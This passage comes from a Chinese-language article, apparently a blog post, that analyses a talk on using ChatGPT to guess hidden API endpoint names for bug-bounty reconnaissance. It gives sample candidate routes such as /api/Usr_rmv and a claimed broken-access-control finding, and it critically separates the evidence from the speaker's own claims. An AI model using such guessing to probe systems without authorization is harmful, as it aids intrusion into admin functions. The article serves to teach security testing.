delete、del、dlt；但按作者后续陈述，目标恰好用了 remove 的另一种三字母缩写 </span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">rmv</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">。</span></span></p><p cid="n527" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">作者把一个已知接口和自然语言目标&#34;删除用户&#34;交给 ChatGPT，让模型保持原来的大小写、下划线和缩写风格，生成新候选：</span></span></p><pre spellcheck="false" lang="text" cid="n528" mdtype="fences" style="white-space:pre-wrap;box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;display: block;break-inside: avoid;text-align: left;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border: 1px solid rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span leaf="" data-nest-level="4">/api/Usr_del</span></span><span leaf="" data-nest-level="3"><br/></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span leaf="" data-nest-level="4">/api/Usr_dlt</span></span><span leaf="" data-nest-level="3"><br/></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span leaf="" data-nest-level="4">/api/Usr_rmv</span></span><span leaf="" data-nest-level="3"><br/></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span leaf="" data-nest-level="4">/api/Usr_elm</span></span><span leaf="" data-nest-level="3"><br/></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span leaf="" data-nest-level="4">/api/Usr_destroy</span></span><span leaf="" data-nest-level="3"><br/></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span leaf="" data-nest-level="4">/api/Usr_remove</span></span><span leaf="" data-nest-level="3"><br/></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span leaf="" data-nest-level="4">/api/Usr_rm</span></span><span leaf="" data-nest-level="3"><br/></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span leaf="" data-nest-level="4">/api/Usr_excl</span></span><span leaf="" data-nest-level="3"><br/></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span leaf="" data-nest-level="4">/api/Usr_abort</span></span></pre><p cid="n529" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="image" data-src="https://p.ipic.vip/aswm2i.png" style="box-sizing: border-box;min-width: 10px;min-height: 10px;word-break: break-all;font-family: monospace;display: inline-block;width: 800px;" data-nest-level="3"><span leaf="" data-nest-level="4"><img alt="AI 按目标语法生成删除接口候选" class="rich_pages wxw-img" data-ratio="0.562962962962963" data-type="png" data-w="1080" style="box-sizing: border-box;border-width: 0px 4px 0px 2px;border-style: none solid;border-color: currentcolor transparent;border-image: none 100% / 1 / 0 stretch;vertical-align: middle;max-width: 100%;image-orientation: from-image;cursor: default;display: block;margin: auto;height: auto !important;" data-imgfileid="100000419" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=07dffab3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F8qOq10zFicMBBzDb0NWAFC5wHfRQ1bodWgYK7b6myRMjOtlQBllMWQKYGlKQrzicCgibBBZJzqHhZaUic99UNpA2ONu8belQ7bLE53icZqPyyRiaw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></span></p><p cid="n530" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">其中 </span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">rmv</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4"> 对应的路由出现了与手工失败候选不同的响应。作者称后续用正确方法验证后发现了带访问控制缺陷的管理功能，拿了 4,000 美元以上赏金。</span></span></p><p cid="n531" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="image" data-src="https://p.ipic.vip/hn3wc0.png" style="box-sizing: border-box;min-width: 10px;min-height: 10px;word-break: break-all;font-family: monospace;display: inline-block;width: 800px;" data-nest-level="3"><span leaf="" data-nest-level="4"><img alt="报告宣称命中管理功能" class="rich_pages wxw-img" data-ratio="0.562962962962963" data-type="png" data-w="1080" style="box-sizing: border-box;border-width: 0px 4px 0px 2px;border-style: none solid;border-color: currentcolor transparent;border-image: none 100% / 1 / 0 stretch;vertical-align: middle;max-width: 100%;image-orientation: from-image;cursor: default;display: block;margin: auto;height: auto !important;" data-imgfileid="100000416" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=4059939c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F8qOq10zFicMAMialEaTT8L8oiaHGF7oR0oBy6S28PmTexmq4iasILP6xdpt0nVmoaMia2fGS37Cm9ic5RXhicSVwk9qw8LJLCmI9redIkm2CDice1mA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></span></p><p cid="n532" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">这里得把证据边界说清楚。第一，PPT 截图里的 </span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">User</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4"> 和后续文字、作者网站里的 </span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">Usr</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4"> 不完全一致，报告自身存在拼写差异。第二，&#34;GET 不受支持&#34;最多说明路由可能存在，不等于已证明越权——要确认 Broken Function Level Authorization，至少还需要低权凭据、正确 HTTP 方法、管理员对照请求和状态变化验证。第三，目标已匿名，赏金和漏洞细节目前主要来自演讲者本人，不能写成独立复核过的公开漏洞。</span></span></p><p cid="n533" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">但即便把这些宣传成分全拿掉，这个案例依然能支撑一个很实用的判断：</span></span></p><blockquote style="box-sizing: border-box;margin: 0.8em 0px;border-left: 4px solid rgb(223, 226, 229);padding: 0px 15px;color: rgb(119, 119, 119);caret-color: rgb(0, 122, 255);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;"><p cid="n535" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0px;white-space: pre-wrap;" data-nest-level="3"><span md-inline="strong" style="box-sizing: border-box;" data-nest-level="4"><strong style="box-sizing: border-box;" data-nest-level="5"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="6"><span leaf="" data-nest-level="7">模型没替作者发现漏洞。它只是把人脑有限的几个猜法，扩写成一组更贴近目标命名风格的候选。真正让候选浮出水面的，是响应差异。</span></span></strong></span></p></blockquote><hr style="box-sizing: content-box;height: 2px;margin: 16px 0px;border: 0px;padding: 0px;background-color: rgb(231, 231, 231);overflow: hidden;"/><h2 cid="n537" mdtype="heading" style="box-sizing: border-box;white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">AI 到底多做了哪一层</span></span></h2><p cid="n538" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">静态字典保存的是词。</span></span></p><p cid="n539" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">模型试图学习的是词与词之间的关系：什么实体常和什么动作一起出现，版本号通常放哪，目标喜欢大小写还是全小写，环境和地域怎么排列，数字补不补零，动作更常用完整单词还是三字母缩写。</span></span></p><p cid="n540" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">到第 94—95 页的 Agent 演示，作者把示例扩成 </span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">/api/v2/Usr_crt</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">。拆开以后暴露了一套小型语法：</span></span></p><pre spellcheck="false" lang="text" cid="n541" mdtype="fences" style="white-space:pre-wrap;box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;display: block;break-inside: avoid;text-align: left;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border: 1px solid rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span leaf="" data-nest-level="4">base_path    = /api/v2/</span></span><span leaf="" data-nest-level="3"><br/></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span leaf="" data-nest-level="4">entity       = Usr</span></span><span leaf="" data-nest-level="3"><br/></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span leaf="" data-nest-level="4">separator    = _</span></span><span leaf="" data-nest-level="3"><br/></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span leaf="" data-nest-level="4">action       = crt</span></span><span leaf="" data-nest-level="3"><br/></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span leaf="" data-nest-level="4">case_style   = 首字母大写</span></span><span leaf="" data-nest-level="3"><br/></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span leaf="" data-nest-level="4">action_style = 三字母缩写</span></span></pre><p cid="n542" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">如果模型结合目标的其他路径推断出 </span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">crt → create</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">，它就可以围绕同一语法尝试 </span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">lst</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">、</span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">upd</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">、</span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">del</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">、</span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">dlt</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">、</span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">rmv</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">，而不是把 </span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">delete-user</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">、</span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">users/remove</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">、</span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">removeUser</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4"> 等所有互联网常见写法平均扫一遍。</span></span></p><p cid="n543" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">报告用 Transformer 的 self-attention 解释这种能力：模型不只看相邻 token，还能同时关注版本槽位、资源槽位、动作槽位和更远处的结构关系。</span></span></p><p cid="n544" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="image" data-src="https://p.ipic.vip/y7yqff.png" style="box-sizing: border-box;min-width: 10px;min-height: 10px;word-break: break-all;font-family: monospace;display: inline-block;width: 800px;" data-nest-level="3"><span leaf="" data-nest-level="4"><img alt="Transformer 自注意力对 URL 结构的建模" class="rich_pages wxw-img" data-ratio="0.562962962962963" data-type="png" data-w="1080" style="box-sizing: border-box;border-width: 0px 4px 0px 2px;border-style: none solid;border-color: currentcolor transparent;border-image: none 100% / 1 / 0 stretch;vertical-align: middle;max-width: 100%;image-orientation: from-image;cursor: default;display: block;margin: auto;height: auto !important;" data-imgfileid="100000421" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=b5a56ec4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F8qOq10zFicMCXRDNooZZhfdRSUxZd9iczmPTg9VNN0sA3Kbl4e0YkRAPkibKar3pQianzr7ztUuhNTz2VLVCgVxkiaeatcqAyBDK77uyZTttMpwY%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></span></p><p cid="n545" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">说直白点：</span></span><span md-inline="strong" style="box-sizing: border-box;" data-nest-level="3"><strong style="box-sizing: border-box;" data-nest-level="4"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="5"><span leaf="" data-nest-level="6">AI 不是知道后台在哪。它只是比静态字典更会猜——&#34;如果这个后台存在，开发者可能会怎么给它取名&#34;。</span></span></strong></span></p><p cid="n546" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">这两句话差别很大。</span></span></p><hr style="box-sizing: content-box;height: 2px;margin: 16px 0px;border: 0px;padding: 0px;background-color: rgb(231, 231, 231);overflow: hidden;"/><h2 cid="n548" mdtype="heading" style="box-sizing: border-box;white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 